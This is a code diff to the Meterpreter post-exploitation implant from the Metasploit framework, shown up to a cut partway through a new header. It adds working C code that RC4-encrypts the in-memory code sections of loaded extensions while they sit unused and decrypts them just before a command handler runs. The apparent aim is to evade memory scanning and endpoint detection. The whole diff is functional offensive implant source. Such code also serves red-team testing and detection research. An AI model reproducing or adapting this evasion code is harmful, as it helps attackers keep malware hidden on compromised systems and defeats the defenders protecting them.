diff --git a/c/meterpreter/source/metsrv/base.c b/c/meterpreter/source/metsrv/base.c index a306964e2..b7b043209 100644 --- a/c/meterpreter/source/metsrv/base.c +++ b/c/meterpreter/source/metsrv/base.c @@ -3,6 +3,7 @@ * @brief Definitions that apply to almost any Meterpreter component. */ #include "metsrv.h" +#include "extension_encryption.h" // TODO: move these to a header? // Local remote request implementors @@ -286,6 +287,8 @@ BOOL command_process_inline(Command *command, Remote *remote, Packet *packet) PacketTlvType packetTlvType; UINT commandId = 0; + DWORD extensionFindDecryptVal = ERROR_SUCCESS; + __try { do @@ -318,12 +321,30 @@ BOOL command_process_inline(Command *command, Remote *remote, Packet *packet) case PACKET_TLV_TYPE_PLAIN_REQUEST: if (command->request.inline_handler) { dprintf("[DISPATCH] executing inline request handler %u", commandId); + dprintf("[DISPATCH] Calling extensionFindDecrypt for command %u", commandId); + extensionFindDecryptVal = extensionFindDecrypt(command->request.inline_handler); + if (!extensionFindDecryptVal || extensionFindDecryptVal == EXTENSION_ENCRYPTION_EXTENSION_NOT_ENCRYPTABLE) { + dprintf("[COMMAND] Decryption successful for command %u", commandId); + } + else { + dprintf("[COMMAND] Decryption failed for command %u", commandId); + break; + } serverContinue = command->request.inline_handler(remote, packet, &result) && serverContinue; dprintf("[DISPATCH] executed %u, continue %s", commandId, serverContinue ? "yes" : "no"); } else { dprintf("[DISPATCH] executing request handler %u", commandId); + dprintf("[DISPATCH] Calling extensionFindDecrypt for command %u", commandId); + extensionFindDecryptVal = extensionFindDecrypt(command->request.handler); + if (!extensionFindDecryptVal || extensionFindDecryptVal == EXTENSION_ENCRYPTION_EXTENSION_NOT_ENCRYPTABLE) { + dprintf("[COMMAND] Decryption successful for command %u", commandId); + } + else { + dprintf("[COMMAND] Decryption failed for command %u", commandId); + break; + } result = command->request.handler(remote, packet); } break; @@ -332,11 +353,29 @@ BOOL command_process_inline(Command *command, Remote *remote, Packet *packet) if (command->response.inline_handler) { dprintf("[DISPATCH] executing inline response handler %u", commandId); + dprintf("[DISPATCH] Calling extensionFindDecrypt for command %u", commandId); + extensionFindDecryptVal = extensionFindDecrypt(command->response.inline_handler); + if (!extensionFindDecryptVal || extensionFindDecryptVal == EXTENSION_ENCRYPTION_EXTENSION_NOT_ENCRYPTABLE) { + dprintf("[COMMAND] Decryption successful for command %u", commandId); + } + else { + dprintf("[COMMAND] Decryption failed for command %u", commandId); + break; + } serverContinue = command->response.inline_handler(remote, packet, &result) && serverContinue; } else { dprintf("[DISPATCH] executing response handler %u", commandId); + dprintf("[DISPATCH] Calling extensionFindDecrypt for command %u", commandId); + extensionFindDecryptVal = extensionFindDecrypt(command->response.handler); + if (!extensionFindDecryptVal || extensionFindDecryptVal == EXTENSION_ENCRYPTION_EXTENSION_NOT_ENCRYPTABLE) { + dprintf("[COMMAND] Decryption successful for command %u", commandId); + } + else { + dprintf("[COMMAND] Decryption failed for command %u", commandId); + break; + } result = command->response.handler(remote, packet); } break; @@ -455,6 +494,7 @@ BOOL command_handle(Remote *remote, Packet *packet) break; } + // if either command is registered as inline, run them inline if ((command && command_is_inline(command, packet)) || packet->local) @@ -474,8 +514,9 @@ BOOL command_handle(Remote *remote, Packet *packet) thread_run(cpt); } } - } while (0); + } while (0); + extension_encryption_encrypt_unused(); return result; } diff --git a/c/meterpreter/source/metsrv/extension_encryption.c b/c/meterpreter/source/metsrv/extension_encryption.c new file mode 100644 index 000000000..9d4f35191 --- /dev/null +++ b/c/meterpreter/source/metsrv/extension_encryption.c @@ -0,0 +1,619 @@ +#include "extension_encryption.h" +#include "common_metapi.h" + +ExtensionEncryptionManager *g_ExtensionEncryptionManager = NULL; + +DWORD cryptographic_manager_debug_initialize(LPVOID* lpCryptoContext, LPVOID lpParams) { + *lpCryptoContext = NULL; + return 0; +} + +DWORD cryptographic_manager_debug_encrypt(LPVOID lpDataIn, DWORD dwDataInSize, LPVOID lpDataOut, DWORD dwDataOutSize) { + if (dwDataOutSize < dwDataInSize) { + return 0; + } + memcpy(lpDataOut, lpDataIn, dwDataInSize); + return dwDataInSize; +} + +DWORD cryptographic_manager_debug_decrypt(LPVOID lpDataIn, DWORD dwDataInSize, LPVOID lpDataOut, DWORD dwDataOutSize) { + if (dwDataOutSize < dwDataInSize) { + return 0; + } + memcpy(lpDataOut, lpDataIn, dwDataInSize); + return dwDataInSize; +} + +DWORD cryptographic_manager_rc4_initialize(LPVOID* lpCryptoContext, LPVOID lpParams) { + HANDLE hHeap = GetProcessHeap(); + if (hHeap == NULL) { + dprintf("[cryptographic_manager_rc4_initialize] GetProcessHeap failed."); + return ERROR_NOT_ENOUGH_MEMORY; + } + + *lpCryptoContext = (LPVOID) HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(RC4_CTX)); + if (*lpCryptoContext == NULL) { + dprintf("[cryptographic_manager_rc4_initialize] HeapAlloc failed."); + return ERROR_NOT_ENOUGH_MEMORY; + } + + RC4_CTX* ctx = (RC4_CTX*)(*lpCryptoContext); + InitRc4(ctx, (unsigned char *)lpParams, KEY_SIZE_RC4); + return 0; +} + +DWORD cryptographic_manager_rc4_refresh(LPVOID lpCryptoContext, LPVOID lpParams) { + RC4_CTX* ctx = (RC4_CTX*)lpCryptoContext; + if (ctx == NULL) { + dprintf("[cryptographic_manager_rc4_refresh] lpCryptoContext is NULL."); + return ERROR_INVALID_PARAMETER; + } + InitRc4(ctx, (unsigned char *)lpParams, KEY_SIZE_RC4); + dprintf("[cryptographic_manager_rc4] Refreshed RC4 Cryptographic Manager."); + return 0; +} + +DWORD cryptographic_manager_rc4_encrypt(LPVOID lpDataIn, DWORD dwDataInSize, LPVOID lpDataOut, DWORD dwDataOutSize) { + RC4_CTX* ctx = (RC4_CTX*)g_ExtensionEncryptionManager->cryptoManager.lpCryptoContext; + if (ctx == NULL) { + dprintf("[cryptographic_manager_rc4_encrypt] lpCryptoContext is NULL."); + return 0; + } + if (dwDataOutSize < dwDataInSize) { + dprintf("[cryptographic_manager_rc4_encrypt] dwDataOutSize is smaller than dwDataInSize."); + return 0; + } + memcpy(lpDataOut, lpDataIn, dwDataInSize); + if (!RC4Cipher(ctx, (unsigned char*)lpDataOut, dwDataInSize)) { + dprintf("[cryptographic_manager_rc4_encrypt] RC4Cipher failed."); + return 0; + } + return dwDataInSize; +} + +DWORD cryptographic_manager_rc4_decrypt(LPVOID lpDataIn, DWORD dwDataInSize, LPVOID lpDataOut, DWORD dwDataOutSize) { + RC4_CTX* ctx = (RC4_CTX*)g_ExtensionEncryptionManager->cryptoManager.lpCryptoContext; + if (ctx == NULL) { + dprintf("[cryptographic_manager_rc4_decrypt] lpCryptoContext is NULL."); + return 0; + } + if (dwDataOutSize < dwDataInSize) { + dprintf("[cryptographic_manager_rc4_decrypt] dwDataOutSize is smaller than dwDataInSize."); + return 0; + } + memcpy(lpDataOut, lpDataIn, dwDataInSize); + if (!RC4Cipher(ctx, (unsigned char*)lpDataOut, dwDataInSize)) { + dprintf("[cryptographic_manager_rc4_decrypt] RC4Cipher failed."); + return 0; + } + return dwDataInSize; +} + +BOOL cryptographic_manager_rc4(CryptographicManager* manager, LPVOID lpParams) { + LPCSTR key = (LPCSTR)lpParams; + if (manager == NULL) { + dprintf("[cryptographic_manager_rc4] Invalid parameters."); + return FALSE; + } + dprintf("[cryptographic_manager_rc4] Initializing RC4 Cryptographic Manager."); + manager->bInitialized = TRUE; + manager->bNeedsRefresh = TRUE; + manager->initialize = cryptographic_manager_rc4_initialize; + manager->encrypt = cryptographic_manager_rc4_encrypt; + manager->decrypt = cryptographic_manager_rc4_decrypt; + manager->refresh = cryptographic_manager_rc4_refresh; + if(lpParams != NULL) { + manager->lpCryptoParams = (LPCSTR)lpParams; + } else { + manager->lpCryptoParams = (LPCSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, KEY_SIZE_RC4); + if (manager->lpCryptoParams == NULL) { + dprintf("[cryptographic_manager_rc4] HeapAlloc failed."); + return FALSE; + } + HCRYPTPROV hProv = 0; + if (!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) { + dprintf("[cryptographic_manager_rc4] CryptAcquireContext failed."); + HeapFree(GetProcessHeap(), 0, (LPVOID)manager->lpCryptoParams); + return FALSE; + } + if (!CryptGenRandom(hProv, KEY_SIZE_RC4, (BYTE*)manager->lpCryptoParams)) { + dprintf("[cryptographic_manager_rc4] CryptGenRandom failed."); + CryptReleaseContext(hProv, 0); + HeapFree(GetProcessHeap(), 0, (LPVOID)manager->lpCryptoParams); + return FALSE; + } + CryptReleaseContext(hProv, 0); + } + if (manager->initialize(&manager->lpCryptoContext, (LPVOID)manager->lpCryptoParams) != 0) { + dprintf("[cryptographic_manager_rc4] Initialization failed."); + return FALSE; + } + return TRUE; +} + +BOOL cryptographic_manager_debug(CryptographicManager* manager, LPVOID lpParams) { + if (manager == NULL) { + dprintf("[cryptographic_manager_debug] manager is NULL."); + return FALSE; + } + manager->bInitialized = TRUE; + manager->bNeedsRefresh = FALSE; + manager->initialize = cryptographic_manager_debug_initialize; + manager->encrypt = cryptographic_manager_debug_encrypt; + manager->decrypt = cryptographic_manager_debug_decrypt; + manager->lpCryptoParams = NULL; + manager->refresh = NULL; + manager->lpCryptoContext = NULL; + return TRUE; +} + +ExtensionEncryptionManager* GetExtensionEncryptionManager(VOID) { + return g_ExtensionEncryptionManager; +} + +ExtensionEncryptionManager* InitExtensionEncryptionManager(CryptographicManagerType type, LPVOID lpCryptoParams) { + if (g_ExtensionEncryptionManager != NULL) { + return g_ExtensionEncryptionManager; + } + HANDLE hHeap = GetProcessHeap(); + if (hHeap == NULL) { + dprintf("[extension_encryption][extension_encryption_init_manager] GetProcessHeap failed."); + return NULL; + } + g_ExtensionEncryptionManager = (ExtensionEncryptionManager*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(ExtensionEncryptionManager)); + if (g_ExtensionEncryptionManager == NULL) { + dprintf("[extension_encryption][extension_encryption_init_manager] HeapAlloc failed."); + return NULL; + } + InitializeCriticalSection(&g_ExtensionEncryptionManager->cs); + g_ExtensionEncryptionManager->add = extension_encryption_add; + g_ExtensionEncryptionManager->get = extension_encryption_get; + g_ExtensionEncryptionManager->remove = extension_encryption_remove; + g_ExtensionEncryptionManager->encrypt = extension_encryption_encrypt; + g_ExtensionEncryptionManager->decrypt = extension_encryption_decrypt; + g_ExtensionEncryptionManager->encryptUnused = extension_encryption_encrypt_unused; + g_ExtensionEncryptionManager->dwCryptoManagerType = type; + + if(type == CRYPTOGRAPHIC_MANAGER_TYPE_RC4 ) { + if (!cryptographic_manager_rc4(&g_ExtensionEncryptionManager->cryptoManager, lpCryptoParams)) { + dprintf("[extension_encryption][extension_encryption_init_manager] cryptographic_manager_rc4 failed."); + HeapFree(hHeap, 0, g_ExtensionEncryptionManager); + g_ExtensionEncryptionManager = NULL; + return NULL; + } + return g_ExtensionEncryptionManager; + }else{ + if (!cryptographic_manager_debug(&g_ExtensionEncryptionManager->cryptoManager, lpCryptoParams)) { + dprintf("[extension_encryption][extension_encryption_init_manager] cryptographic_manager_debug failed."); + HeapFree(hHeap, 0, g_ExtensionEncryptionManager); + g_ExtensionEncryptionManager = NULL; + return NULL; + } + } + dprintf("[extension_encryption][extension_encryption_init_manager] Encryption Manager Initialized"); + return g_ExtensionEncryptionManager; +} + +BOOL extension_encryption_add(LPVOID lpExtensionLocation) { + DWORD dwResult = ERROR_SUCCESS; + HANDLE hHeap = GetProcessHeap(); + HANDLE hLib = (HMODULE)lpExtensionLocation; + ExtensionEncryptionStatus* lpExtensionStatus = NULL; + PIMAGE_DOS_HEADER pDosHeader = NULL; + PIMAGE_NT_HEADERS pNtHeaders = NULL; + PIMAGE_SECTION_HEADER pSectionHeader = NULL; + LPVOID lpTextSection = NULL; + DWORD dwTextSize = 0; + + EnterCriticalSection(&g_ExtensionEncryptionManager->cs); + do { + dprintf("[extension_encryption][extension_encryption_add] Adding extension"); + if (g_ExtensionEncryptionManager->dwExtensionsCount >= MAX_EXTENSIONS) { + BREAK_WITH_ERROR("[extension_encryption][extension_encryption_add] Maximum number of extensions reached.", ERROR_NOT_ENOUGH_MEMORY); + } + + if (hLib == NULL || hLib == INVALID_HANDLE_VALUE) { + BREAK_WITH_ERROR("[extension_encryption][extension_encryption_add] Invalid parameters.", ERROR_INVALID_PARAMETER); + } + + pDosHeader = (PIMAGE_DOS_HEADER)lpExtensionLocation; + if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) { + BREAK_WITH_ERROR("[extension_encryption][extension_encryption_add] Invalid DOS Signature.", ERROR_INVALID_PARAMETER); + } + pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)lpExtensionLocation + pDosHeader->e_lfanew); + + if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE) { + BREAK_WITH_ERROR("[extension_encryption][extension_encryption_add] Invalid NT Signature.", ERROR_INVALID_PARAMETER); + } + pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders); + if (pSectionHeader == NULL) { + BREAK_WITH_ERROR("[extension_encryption][extension_encryption_add] Invalid section header.", ERROR_INVALID_PARAMETER); + } + + for (WORD i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) { + if (!strncmp(pSectionHeader[i].Name, ".text", 5)) { + dprintf("[extension_encryption][extension_encryption_add] .text section of the extension is found!"); + lpTextSection = (BYTE*)lpExtensionLocation + pSectionHeader[i].VirtualAddress; + dwTextSize = pSectionHeader[i].Misc.VirtualSize; + break; + } + } + if (lpTextSection == NULL) { + BREAK_WITH_ERROR("[extension_encryption][extension_encryption_add] couldn't get text section of the encryption.", ERROR_INVALID_PARAMETER); + } + + if (dwTextSize == 0) { + BREAK_WITH_ERROR("[extension_encryption][extension_encryption_add] couldn't get size of text section of the extension.", ERROR_INVALID_PARAMETER); + } + lpExtensionStatus = (ExtensionEncryptionStatus*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(ExtensionEncryptionStatus)); + if (lpExtensionStatus == NULL) { + BREAK_WITH_ERROR("[extension_encryption][extension_encryption_add] HeapAlloc failed.", ERROR_NOT_ENOUGH_MEMORY); + } + lpExtensionStatus->bEncryptable = TRUE; + lpExtensionStatus->bEncrypted = FALSE; + lpExtensionStatus->lpLoc = lpTextSection; + lpExtensionStatus->dwSize = dwTextSize; + lpExtensionStatus->dwLastUsedTime = GetTickCount(); + dprintf("[extension_encryption][extension_encryption_add] lpExtensionStatus->bEncryptable: %d", lpExtensionStatus->bEncryptable); + dprintf("[extension_encryption][extension_encryption_add] lpExtensionStatus->bEncrypted: %d", lpExtensionStatus->bEncrypted); + dprintf("[extension_encryption][extension_encryption_add] lpExtensionStatus->lpLoc: %p", lpExtensionStatus->lpLoc); + dprintf("[extension_encryption][extension_encryption_add] lpExtensionStatus->dwSize: %u", lpExtensionStatus->dwSize); + dprintf("[extension_encryption][extension_encryption_add] lpExtensionStatus->dwLastUsedTime: %u", lpExtensionStatus->dwLastUsedTime); + g_ExtensionEncryptionManager->extensionStatuses[g_ExtensionEncryptionManager->dwExtensionsCount] = lpExtensionStatus; + g_ExtensionEncryptionManager->dwExtensionsCount++; + dprintf("[extension_encryption][extension_encryption_add] Added extension text section at %p of size %u", lpExtensionStatus->lpLoc,lpExtensionStatus->dwSize); + dprintf("[extension_encryption][extension_encryption_add] Function exiting"); + } while (0); + LeaveCriticalSection(&g_ExtensionEncryptionManager->cs); + return dwResult == ERROR_SUCCESS; +} + +BOOL extension_encryption_get(LPVOID lpHandlerFunction, ExtensionEncryptionStatus** lpOutExtensionStatus) { + BOOL ret = TRUE; + EnterCriticalSection(&g_ExtensionEncryptionManager->cs); + dprintf("[extension_encryption][extension_encryption_get] Getting extension."); + if (lpHandlerFunction == NULL || lpOutExtensionStatus == NULL) { + dprintf("[extension_encryption][extension_encryption_get] Invalid parameters."); + ret = FALSE; + } + if (g_ExtensionEncryptionManager->dwExtensionsCount == 0) { + dprintf("[extension_encryption][extension_encryption_get] No extension present."); + ret = FALSE; + } + if (ret) { + ret = FALSE; + for (DWORD i = 0; i < g_ExtensionEncryptionManager->dwExtensionsCount; i++) { + if (g_ExtensionEncryptionManager->extensionStatuses[i] != NULL + && g_ExtensionEncryptionManager->extensionStatuses[i]->lpLoc <= lpHandlerFunction + && (unsigned char*)lpHandlerFunction < (unsigned char*)g_ExtensionEncryptionManager->extensionStatuses[i]->lpLoc + g_ExtensionEncryptionManager->extensionStatuses[i]->dwSize) + { + *lpOutExtensionStatus = g_ExtensionEncryptionManager->extensionStatuses[i]; + ret = TRUE; + break; + } + } + } + dprintf("[extension_encryption][extension_encryption_get] Function exiting."); + LeaveCriticalSection(&g_ExtensionEncryptionManager->cs); + return ret; +} + +BOOL extension_encryption_remove(ExtensionEncryptionStatus* lpExtensionStatus) { + BOOL ret = FALSE; + EnterCriticalSection(&g_ExtensionEncryptionManager->cs); + dprintf("[extension_encryption][extension_encryption_remove] Removing extension."); + if (lpExtensionStatus == NULL) { + dprintf("[extension_encryption][extension_encryption_remove] lpExtensionStatus is NULL."); + LeaveCriticalSection(&g_ExtensionEncryptionManager->cs); + return ret; + } + for (DWORD i = 0; i < g_ExtensionEncryptionManager->dwExtensionsCount; i++) { + if (g_ExtensionEncryptionManager->extensionStatuses[i] == lpExtensionStatus) { + g_ExtensionEncryptionManager->extensionStatuses[i] = g_ExtensionEncryptionManager->extensionStatuses[g_ExtensionEncryptionManager->dwExtensionsCount - 1]; + g_ExtensionEncryptionManager->extensionStatuses[g_ExtensionEncryptionManager->dwExtensionsCount - 1] = NULL; + g_ExtensionEncryptionManager->dwExtensionsCount--; + HeapFree(GetProcessHeap(), 0, lpExtensionStatus); + ret = TRUE; + break; + } + } + if (!ret) { + dprintf("[extension_encryption][extension_encryption_remove] Couldn't locate lpExtensionStatus in extension_statuses array."); + } + LeaveCriticalSection(&g_ExtensionEncryptionManager->cs); + return ret; +} + +BOOL extension_encryption_encrypt(ExtensionEncryptionStatus* lpExtensionStatus) { + EnterCriticalSection(&g_ExtensionEncryptionManager->cs); + + BOOL ret = FALSE; + BOOL bError = FALSE; + unsigned char *lpTempBufferRead = NULL; + unsigned char *lpTempBufferWrite = NULL; + HANDLE hHeap = GetProcessHeap(); + DWORD diff = BUFFER_SIZE; + size_t ByteCounter = 0; + LPVOID ExtensionLoc = NULL; + DWORD ExtensionSize = 0; + DWORD dwOldProtect = 0; + + if (lpExtensionStatus == NULL) { + dprintf("[extension_encryption][extension_encryption_encrypt] lpExtensionStatus is NULL"); + bError = TRUE; + } + + if(!bError && !lpExtensionStatus->bEncryptable) { + dprintf("[extension_encryption][extension_encryption_encrypt] Extension is not encryptable."); + bError = TRUE; + } + + if(!bError && lpExtensionStatus->bEncrypted) { + dprintf("[extension_encryption][extension_encryption_encrypt] Extension is already encrypted."); + ret = TRUE; + bError = TRUE; + lpExtensionStatus->dwLastUsedTime = GetTickCount(); + } + + if (!bError) { + lpTempBufferRead = (unsigned char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, BUFFER_SIZE); + lpTempBufferWrite = (unsigned char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, BUFFER_SIZE); + + if (lpTempBufferRead == NULL) { + dprintf("[extension_encryption][extension_encryption_encrypt] HeapAlloc failed on lpTempBufferRead."); + bError = TRUE; + } + + if (lpTempBufferWrite == NULL) { + dprintf("[extension_encryption][extension_encryption_encrypt] HeapAlloc failed on lpTempBufferWrite."); + if (lpTempBufferRead != NULL) { + HeapFree(hHeap, 0, lpTempBufferRead); + } + bError = TRUE; + } + } + + if (!bError) { + ExtensionLoc = lpExtensionStatus->lpLoc; + ExtensionSize = lpExtensionStatus->dwSize; + + if (!met_api->win_api.kernel32.VirtualProtect(ExtensionLoc, ExtensionSize, PAGE_READWRITE, &dwOldProtect)) { + dprintf("[extension_encryption][extension_encryption_encrypt] VirtualProtect 1 failed with error 0x%x", GetLastError()); + bError = TRUE; + } + } + + if (!bError && g_ExtensionEncryptionManager->cryptoManager.refresh != NULL) { // We shouldnt only think about rc4. Because other algorithms might not support refresh. So checking for NULL in the first place is a good idea. + if (g_ExtensionEncryptionManager->cryptoManager.bNeedsRefresh) { + if (g_ExtensionEncryptionManager->cryptoManager.refresh(g_ExtensionEncryptionManager->cryptoManager.lpCryptoContext, (LPVOID)g_ExtensionEncryptionManager->cryptoManager.lpCryptoParams) != 0) { + dprintf("[extension_encryption][extension_encryption_decrypt] CryptographicManager refresh failed."); + bError = TRUE; + } + } + } + + if (!bError) { + for (DWORD i = 0; i != ExtensionSize; i += diff) { + if ((ExtensionSize - i) < BUFFER_SIZE) { + diff = ExtensionSize - i; + } + ret = ReadProcessMemory(GetCurrentProcess(), (unsigned char*)ExtensionLoc + i, lpTempBufferRead, diff, &ByteCounter); + if (!ret || ByteCounter != diff) { + dprintf("[extension_encryption][extension_encryption_encrypt] ReadProcessMemory failed with error 0x%x", GetLastError()); + bError = TRUE; + break; + } + if (!g_ExtensionEncryptionManager->cryptoManager.encrypt(lpTempBufferRead, diff, lpTempBufferWrite, BUFFER_SIZE)) { + dprintf("[extension_encryption][extension_encryption_encrypt] CryptographicManager encrypt failed."); + ret = FALSE; + bError = TRUE; + break; + } + ret = met_api->win_api.kernel32.WriteProcessMemory(GetCurrentProcess(), (unsigned char*)ExtensionLoc + i, lpTempBufferWrite, diff, &ByteCounter); + if (!ret || ByteCounter != diff) { + dprintf("[extension_encryption][extension_encryption_encrypt] WriteProcessMemory failed with error 0x%x", GetLastError()); + bError = TRUE; + break; + } + } + + if (!bError) { + lpExtensionStatus->dwLastUsedTime = GetTickCount(); + lpExtensionStatus->bEncrypted = TRUE; + if (g_ExtensionEncryptionManager->cryptoManager.refresh != NULL) { + g_ExtensionEncryptionManager->cryptoManager.bNeedsRefresh = TRUE; + } + + } + } + + if (!dwOldProtect || !met_api->win_api.kernel32.VirtualProtect(ExtensionLoc,ExtensionSize,dwOldProtect,&dwOldProtect)){ + dprintf("[extension_encryption][extension_encryption_encrypt] VirtualProtect 2 failed with error 0x%x", GetLastError()); + bError = TRUE; + ret = FALSE; + } + + LeaveCriticalSection(&g_ExtensionEncryptionManager->cs); + + if (lpTempBufferWrite != NULL) { + HeapFree(hHeap, 0, lpTempBufferWrite); + } + if (lpTempBufferRead != NULL) { + HeapFree(hHeap, 0, lpTempBufferRead); + } + + return ret; +} + +BOOL extension_encryption_decrypt(ExtensionEncryptionStatus* lpExtensionStatus) { + EnterCriticalSection(&g_ExtensionEncryptionManager->cs); + BOOL bError = FALSE; + BOOL ret = FALSE; + unsigned char *lpTempBufferRead = NULL; + unsigned char *lpTempBufferWrite = NULL; + HANDLE hHeap = GetProcessHeap(); + DWORD diff = BUFFER_SIZE; + size_t ByteCounter = 0; + LPVOID ExtensionLoc = NULL; + DWORD ExtensionSize = 0; + DWORD dwOldProtect = 0; + + if (lpExtensionStatus == NULL) { + dprintf("[extension_encryption][extension_encryption_decrypt] lpExtensionStatus is NULL"); + bError = TRUE; + } + + if(!bError &&!lpExtensionStatus->bEncryptable) { + dprintf("[extension_encryption][extension_encryption_decrypt] Extension is not encryptable."); + bError = TRUE; + } + + if(!bError && !lpExtensionStatus->bEncrypted) { + dprintf("[extension_encryption][extension_encryption_decrypt] Extension is already decrypted."); + ret = TRUE; + bError = TRUE; + lpExtensionStatus->dwLastUsedTime = GetTickCount(); + } + + if (!bError) { + ExtensionLoc = lpExtensionStatus->lpLoc; + ExtensionSize = lpExtensionStatus->dwSize; + + if (!met_api->win_api.kernel32.VirtualProtect(ExtensionLoc, ExtensionSize, PAGE_READWRITE, &dwOldProtect)) { + dprintf("[extension_encryption][extension_encryption_decrypt] VirtualProtect 1 failed with error 0x%x", GetLastError()); + bError = TRUE; + } + } + + if (!bError) { + lpTempBufferRead = (unsigned char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, BUFFER_SIZE); + lpTempBufferWrite = (unsigned char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, BUFFER_SIZE); + + if (lpTempBufferRead == NULL) { + dprintf("[extension_encryption][extension_encryption_decrypt] HeapAlloc failed on lpTempBufferRead."); + bError = TRUE; + } + + if (lpTempBufferWrite == NULL) { + dprintf("[extension_encryption][extension_encryption_decrypt] HeapAlloc failed on lpTempBufferWrite."); + if (lpTempBufferRead != NULL) { + HeapFree(hHeap, 0, lpTempBufferRead); + } + bError = TRUE; + } + } + + if (!bError && g_ExtensionEncryptionManager->cryptoManager.refresh != NULL) { // We shouldnt only think about rc4. Because other algorithms might not support refresh. So checking for NULL in the first place is a good idea. + if (g_ExtensionEncryptionManager->cryptoManager.bNeedsRefresh) { + if (g_ExtensionEncryptionManager->cryptoManager.refresh(g_ExtensionEncryptionManager->cryptoManager.lpCryptoContext, (LPVOID)g_ExtensionEncryptionManager->cryptoManager.lpCryptoParams) != 0) { + dprintf("[extension_encryption][extension_encryption_decrypt] CryptographicManager refresh failed."); + bError = TRUE; + } + } + } + + if (!bError) { + for (DWORD i = 0; i != ExtensionSize; i += diff) { + if ((ExtensionSize - i) < BUFFER_SIZE) { + diff = ExtensionSize - i; + } + ret = ReadProcessMemory(GetCurrentProcess(), (unsigned char*)ExtensionLoc + i, lpTempBufferRead, diff, &ByteCounter); + if (!ret || ByteCounter != diff) { + dprintf("[extension_encryption][extension_encryption_decrypt] ReadProcessMemory failed with error 0x%x", GetLastError()); + bError = TRUE; + break; + } + if (!g_ExtensionEncryptionManager->cryptoManager.decrypt(lpTempBufferRead, diff, lpTempBufferWrite, BUFFER_SIZE)) { + dprintf("[extension_encryption][extension_encryption_decrypt] CryptographicManager decrypt failed."); + ret = FALSE; + bError = TRUE; + break; + } + ret = met_api->win_api.kernel32.WriteProcessMemory(GetCurrentProcess(), (unsigned char*)ExtensionLoc + i, lpTempBufferWrite, diff, &ByteCounter); + if (!ret || ByteCounter != diff) { + dprintf("[extension_encryption][extension_encryption_decrypt] WriteProcessMemory failed with error 0x%x", GetLastError()); + bError = TRUE; + break; + } + } + + if (!bError) { + lpExtensionStatus->dwLastUsedTime = GetTickCount(); + lpExtensionStatus->bEncrypted = FALSE; + if (g_ExtensionEncryptionManager->cryptoManager.refresh != NULL) { + g_ExtensionEncryptionManager->cryptoManager.bNeedsRefresh = TRUE; + } + } + } + + if (!dwOldProtect || !met_api->win_api.kernel32.VirtualProtect(ExtensionLoc,ExtensionSize,dwOldProtect,&dwOldProtect)){ + dprintf("[extension_encryption][extension_encryption_decrypt] VirtualProtect 2 failed with error 0x%x", GetLastError()); + bError = TRUE; + ret = FALSE; + } + + LeaveCriticalSection(&g_ExtensionEncryptionManager->cs); + + if (lpTempBufferWrite != NULL) { + HeapFree(hHeap, 0, lpTempBufferWrite); + } + if (lpTempBufferRead != NULL) { + HeapFree(hHeap, 0, lpTempBufferRead); + } + + return ret; +} + +void extension_encryption_encrypt_unused() { + + if (g_ExtensionEncryptionManager == NULL) { + dprintf("[extension_encryption][extension_encryption_encrypt_unused] g_ExtensionEncryptionManager is NULL."); + return; + } + + EnterCriticalSection(&g_ExtensionEncryptionManager->cs); + ExtensionEncryptionStatus** extension_statuses = g_ExtensionEncryptionManager->extensionStatuses; + DWORD current_time = GetTickCount(); + for (DWORD i = 0; i < g_ExtensionEncryptionManager->dwExtensionsCount; i++) { + ExtensionEncryptionStatus* status = extension_statuses[i]; + if (status != NULL && status->bEncryptable && !status->bEncrypted) { + if (current_time - status->dwLastUsedTime > ENCRYPTION_UNUSED_COOLDOWN_MS) { + g_ExtensionEncryptionManager->encrypt(status); + } + } + } + LeaveCriticalSection(&g_ExtensionEncryptionManager->cs); +} + +DWORD extensionFindDecrypt(LPVOID lpHandlerFunction) { + ExtensionEncryptionManager* encryptionManager = NULL; + ExtensionEncryptionStatus* extensionStatus = NULL; + + if (lpHandlerFunction == NULL) { + dprintf("[extension_encryption][extensionFindDecrypt] lpHandlerFunction is NULL"); + return EXTENSION_ENCRYPTION_INVALID_HANDLER_FUNCTION; + } + + if ((encryptionManager = GetExtensionEncryptionManager()) == NULL) { + dprintf("[extension_encryption][extensionFindDecrypt] Couldn't get the extension encryption manager "); + return EXTENSION_ENCRYPTION_INVALID_EXTENSION_MANAGER; + } + + if (!encryptionManager->get(lpHandlerFunction, &extensionStatus) || extensionStatus == NULL) { + dprintf("[extension_encryption][extensionFindDecrypt] Couldn't get extension status"); + return EXTENSION_ENCRYPTION_EXTENSION_NOT_FOUND; + } + + if (!extensionStatus->bEncryptable) { + dprintf("[extension_encryption][extensionFindDecrypt] Extension isn't encryptable"); + return EXTENSION_ENCRYPTION_EXTENSION_NOT_ENCRYPTABLE; + } + + if (extensionStatus->bEncrypted && !encryptionManager->decrypt(extensionStatus)) { + dprintf("[extension_encryption][extensionFindDecrypt] Decryption of the extension failed"); + return EXTENSION_ENCRYPTION_DECRYPTION_ERROR; + } + + return ERROR_SUCCESS; + +} diff --git a/c/meterpreter/source/metsrv/extension_encryption.h b/c/meterpreter/source/metsrv/extension_encryption.h new file mode 100644 index 000000000..0fab67f9c --- /dev/null +++ b/c/meterpreter/source/metsrv/extension_encryption.h @@ -0,0 +1,77 @@ +#ifndef _METERPRETER_METSRV_EXTENSION_ENCRYPTION_H +#define _METERPRETER_METSRV_EXTENSION_ENCRYPTION_H + +#include +#include +#include "rc4.h" +#include "common.h" + +#define MAX_EXTENSIONS 32 +#define KEY_SIZE_RC4 16 +#define BUFFER_SIZE 4096 +#define ENCRYPTION_5_MINUTES_MS (5 * 60 * 1000) +#define ENCRYPTION_10_MINUTES_MS (10 * 60 * 1000) +#define ENCRYPTION_30_MINUTES_MS (30 * 60 * 1000) +#define ENCRYPTION_1_HOUR_MS (60 * 60 * 1000) + 